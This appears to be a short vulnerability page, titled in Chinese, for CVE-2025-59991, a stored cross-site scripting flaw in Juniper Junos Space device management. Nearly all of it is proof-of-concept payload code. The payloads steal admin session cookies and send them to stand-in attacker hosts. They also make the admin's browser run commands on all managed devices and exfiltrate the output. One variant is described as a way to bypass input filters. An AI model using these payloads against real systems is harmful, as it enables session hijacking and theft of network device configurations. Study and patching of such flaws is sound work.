CVE-2025-59991：Juniper Junos Space 跨站脚本漏洞

<!-- CVE-2025-59991 PoC - Stored XSS in Juniper Junos Space Device Management --> <!-- The attacker injects malicious script via Device Management input fields --> <!-- Step 1: Attacker submits malicious payload through Device Management page --> <script> // Payload to steal admin session cookies var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + document.cookie; // Or perform privileged actions as the admin fetch('/api/device/manage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'execute_command', target: 'all_devices', command: 'show configuration | display set' }) }).then(r => r.json()).then(data => { // Exfiltrate sensitive data new Image().src = "https://attacker-server.com/exfil?data=" + btoa(JSON.stringify(data)); }); </script> <!-- Alternative simpler payload for demonstration --> <script>alert('XSS in Junos Space - CVE-2025-59991');</script> <!-- HTML event handler variant that may bypass filters --> <img src=x onerror="fetch('https://attacker.com/log?session='+document.cookie)">